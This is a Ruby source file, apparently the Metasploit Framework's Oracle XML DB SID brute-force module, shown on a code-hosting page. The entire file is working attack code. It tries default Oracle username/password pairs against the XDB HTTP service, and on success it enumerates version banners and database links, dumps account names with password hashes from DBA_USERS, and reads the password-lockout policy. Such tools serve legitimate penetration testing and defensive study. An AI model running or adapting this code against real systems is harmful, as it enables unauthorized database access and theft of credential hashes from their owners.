Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Auxiliary::Scanner
10
11
def initialize
12
super(
13
'Name' => 'Oracle XML DB SID Discovery via Brute Force',
14
'Description' => %q{
15
This module attempts to retrieve the sid from the Oracle XML DB httpd server,
16
utilizing Pete Finnigan's default oracle password list.
17
},
18
'References' => [
19
[ 'URL', 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ],
20
[ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv'],
21
],
22
'Author' => [ 'nebulus' ],
23
'License' => MSF_LICENSE
24
)
25
26
register_options(
27
[
28
OptString.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),
29
Opt::RPORT(8080),
30
]
31
)
32
end
33
34
def run_host(ip)
35
begin
36
res = send_request_raw({
37
'uri' => '/oradb/PUBLIC/GLOBAL_NAME',
38
'version' => '1.0',
39
'method' => 'GET'
40
}, 5)
41
return if not res
42
43
if (res.code == 200)
44
vprint_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code}) is not password protected.")
45
return
46
elsif (res.code == 403 || res.code == 401)
47
print_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code})")
48
end
49
50
list = datastore['CSVFILE']
51
users = []
52
53
fd = CSV.foreach(list) do |brute|
54
dbuser = brute[2].downcase
55
dbpass = brute[3].downcase
56
user_pass = "#{dbuser}:#{dbpass}"
57
58
res = send_request_raw({
59
'uri' => '/oradb/PUBLIC/GLOBAL_NAME',
60
'version' => '1.0',
61
'method' => 'GET',
62
'headers' =>
63
{
64
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
65
}
66
}, 10)
67
68
if (not res)
69
vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")
70
next
71
end
72
if (res.code == 200)
73
if (not res.body.length > 0)
74
# sometimes weird bug where body doesn't have value yet
75
res.body = res.bufq
76
end
77
sid = res.body.scan(/<GLOBAL_NAME>(\S+)<\/GLOBAL_NAME>/)[0]
78
report_note(
79
:host => ip,
80
:proto => 'tcp',
81
:port => datastore['RPORT'],
82
:type => 'SERVICE_NAME',
83
:data => { :sid => sid },
84
:update => :unique_data
85
)
86
print_good("Discovered SID: '#{sid[0]}' for host #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}")
87
users.push(user_pass)
88
else
89
vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")
90
end
91
end # fd.each
92
93
good = false
94
users.each do |user_pass|
95
(u, p) = user_pass.split(':')
96
97
# get versions
98
res = send_request_raw({
99
'uri' => '/oradb/PUBLIC/PRODUCT_COMPONENT_VERSION',
100
'version' => '1.1',
101
'method' => 'GET',
102
'headers' =>
103
{
104
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
105
}
106
}, -1)
107
108
if (res)
109
if (res.code == 200)
110
if (not res.body.length > 0)
111
# sometimes weird bug where body doesn't have value yet
112
res.body = res.bufq
113
end
114
115
doc = REXML::Document.new(res.body)
116
117
print_good("Version Information ==> as #{u}")
118
doc.elements.each('PRODUCT_COMPONENT_VERSION/ROW') do |e|
119
p = e.elements['PRODUCT'].get_text
120
v = e.elements['VERSION'].get_text
121
s = e.elements['STATUS'].get_text
122
report_note(
123
:host => datastore['RHOST'],
124
:sname => 'xdb',
125
:proto => 'tcp',
126
:port => datastore['RPORT'],
127
:type => 'ORA_ENUM',
128
:data => { :component_version => "#{p}#{v}" },
129
:update => :unique_data
130
)
131
print_good("\t#{p}\t\t#{v}\t(#{s})")
132
end
133
end
134
end
135
136
# More version information
137
res = send_request_raw({
138
'uri' => '/oradb/PUBLIC/ALL_REGISTRY_BANNERS',
139
'version' => '1.1',
140
'method' => 'GET',
141
'headers' =>
142
{
143
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
144
}
145
}, -1)
146
147
if (res)
148
if (res.code == 200)
149
if (not res.body.length > 0)
150
# sometimes weird bug where body doesn't have value yet
151
res.body = res.bufq
152
end
153
154
doc = REXML::Document.new(res.body)
155
156
doc.elements.each('ALL_REGISTRY_BANNERS/ROW') do |e|
157
next if e.elements['BANNER'] == nil
158
159
b = e.elements['BANNER'].get_text
160
report_note(
161
:host => datastore['RHOST'],
162
:proto => 'tcp',
163
:sname => 'xdb',
164
:port => datastore['RPORT'],
165
:type => 'ORA_ENUM',
166
:data => { :component_version => b },
167
:update => :unique_data
168
)
169
print_good("\t#{b}")
170
end
171
end
172
end
173
174
# database links
175
res = send_request_raw({
176
'uri' => '/oradb/PUBLIC/ALL_DB_LINKS',
177
'version' => '1.1',
178
'method' => 'GET',
179
'headers' =>
180
{
181
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
182
}
183
}, -1)
184
185
if (res)
186
if (res.code == 200)
187
if (not res.body.length > 0)
188
# sometimes weird bug where body doesn't have value yet
189
res.body = res.bufq
190
end
191
192
doc = REXML::Document.new(res.body)
193
194
print_good("Database Link Information ==> as #{u}")
195
doc.elements.each('ALL_DB_LINKS/ROW') do |e|
196
next if (e.elements['HOST'] == nil or e.elements['USERNAME'] == nil or e.elements['DB_LINK'] == nil)
197
198
h = e.elements['HOST'].get_text
199
d = e.elements['DB_LINK'].get_text
200
us = e.elements['USERNAME'].get_text
201
202
sid = h.to_s.scan(/\(SID\s\=\s(\S+)\)\)\)/)[0]
203
if (h.to_s.match(/^\(DESCRIPTION/))
204
h = h.to_s.scan(/\(HOST\s\=\s(\S+)\)\(/)[0]
205
end
206
207
if (sid and sid != "")
208
print_good("\tLink: #{d}\t#{us}\@#{h[0]}/#{sid[0]}")
209
report_note(
210
:host => h[0],
211
:proto => 'tcp',
212
:port => datastore['RPORT'],
213
:sname => 'xdb',
214
:type => 'oracle_sid',
215
:data => { :sid => sid },
216
:update => :unique_data
217
)
218
else
219
print_good("\tLink: #{d}\t#{us}\@#{h}")
220
end
221
end
222
end
223
end
224
225
# get users
226
res = send_request_raw({
227
'uri' => '/oradb/PUBLIC/DBA_USERS',
228
'version' => '1.1',
229
'method' => 'GET',
230
'read_max_data' => (1024 * 1024 * 10),
231
'headers' =>
232
{
233
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
234
}
235
}, -1)
236
237
if res and res.code == 200
238
if (not res.body.length > 0)
239
# sometimes weird bug where body doesn't have value yet
240
res.body = res.bufq
241
end
242
243
doc = REXML::Document.new(res.body)
244
print_good("Username/Hashes on #{ip}:#{datastore['RPORT']} ==> as #{u}")
245
246
doc.elements.each('DBA_USERS/ROW') do |user|
247
us = user.elements['USERNAME'].get_text
248
h = user.elements['PASSWORD'].get_text
249
as = user.elements['ACCOUNT_STATUS'].get_text
250
print_good("\t#{us}:#{h}:#{as}")
251
good = true
252
if (as.to_s == "OPEN")
253
report_note(
254
:host => datastore['RHOST'],
255
:proto => 'tcp',
256
:sname => 'xdb',
257
:port => datastore['RPORT'],
258
:type => 'ORA_ENUM',
259
:data => { :active_account => "#{u}:#{h}:#{as}" },
260
:update => :unique_data
261
)
262
else
263
report_note(
264
:host => datastore['RHOST'],
265
:proto => 'tcp',
266
:sname => 'xdb',
267
:port => datastore['RPORT'],
268
:type => 'ORA_ENUM',
269
:data => { :disabled_account => "#{u}:#{h}:#{as}" },
270
:update => :unique_data
271
)
272
end
273
end
274
end
275
276
# get password information
277
res = send_request_raw({
278
'uri' => '/oradb/PUBLIC/USER_PASSWORD_LIMITS',
279
'version' => '1.1',
280
'method' => 'GET',
281
'read_max_data' => (1024 * 1024 * 10),
282
'headers' =>
283
{
284
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
285
}
286
}, -1)
287
288
if res and res.code == 200
289
if (not res.body.length > 0)
290
# sometimes weird bug where body doesn't have value yet
291
res.body = res.bufq
292
end
293
294
doc = REXML::Document.new(res.body)
295
296
print_good("Password Policy ==> as #{u}")
297
fla = plit = pgt = prt = prm = plot = ''
298
doc.elements.each('USER_PASSWORD_LIMITS/ROW') do |e|
299
next if e.elements['RESOURCE_NAME'] == nil
300
301
case
302
when (e.elements['RESOURCE_NAME'].get_text == 'FAILED_LOGIN_ATTEMPTS')
303
fla = e.elements['LIMIT'].get_text
304
when (e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LIFE_TIME')
305
plit = e.elements['LIMIT'].get_text
306
when (e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_TIME')
307
prt = e.elements['LIMIT'].get_text
308
when (e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_MAX')
309
prm = e.elements['LIMIT'].get_text
310
when (e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LOCK_TIME')
311
plot = e.elements['LIMIT'].get_text
312
when (e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_GRACE_TIME')
313
pgt = e.elements['LIMIT'].get_text
314
end
315
end
316
317
print_good(
318
"\tFailed Login Attempts: #{fla}\n\t" +
319
"Password Life Time: #{plit}\n\t" +
320
"Password Reuse Time: #{prt}\n\t" +
321
"Password Reuse Max: #{prm}\n\t" +
322
"Password Lock Time: #{plot}\n\t" +
323
"Password Grace Time: #{pgt}"
324
)
325
report_note(
326
:host => datastore['RHOST'],
327
:proto => 'tcp',
328
:sname => 'xdb',
329
:port => datastore['RPORT'],
330
:type => 'ORA_ENUM',
331
:data => { :password_maximum_reuse_time => prm },
332
:update => :unique_data
333
)
334
report_note(
335
:host => datastore['RHOST'],
336
:proto => 'tcp',
337
:sname => 'xdb',
338
:port => datastore['RPORT'],
339
:type => 'ORA_ENUM',
340
:data => { :password_reuse_time => prt },
341
:update => :unique_data
342
)
343
report_note(
344
:host => datastore['RHOST'],
345
:proto => 'tcp',
346
:sname => 'xdb',
347
:port => datastore['RPORT'],
348
:type => 'ORA_ENUM',
349
:data => { :password_life_time => plit },
350
:update => :unique_data
351
)
352
report_note(
353
:host => datastore['RHOST'],
354
:proto => 'tcp',
355
:sname => 'xdb',
356
:port => datastore['RPORT'],
357
:type => 'ORA_ENUM',
358
:data => { :account_fail_logins_permitted => fla },
359
:update => :unique_data
360
)
361
report_note(
362
:host => datastore['RHOST'],
363
:proto => 'tcp',
364
:sname => 'xdb',
365
:port => datastore['RPORT'],
366
:type => 'ORA_ENUM',
367
:data => { :account_lockout_time => plot },
368
:update => :unique_data
369
)
370
report_note(
371
:host => datastore['RHOST'],
372
:proto => 'tcp',
373
:sname => 'xdb',
374
:port => datastore['RPORT'],
375
:type => 'ORA_ENUM',
376
:data => { :account_password_grace_time => pgt },
377
:update => :unique_data
378
)
379
end
380
381
break if good
382
end # users.each
383
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
384
rescue ::Timeout::Error, ::Errno::EPIPE
385
end
386
end
387
end
388
389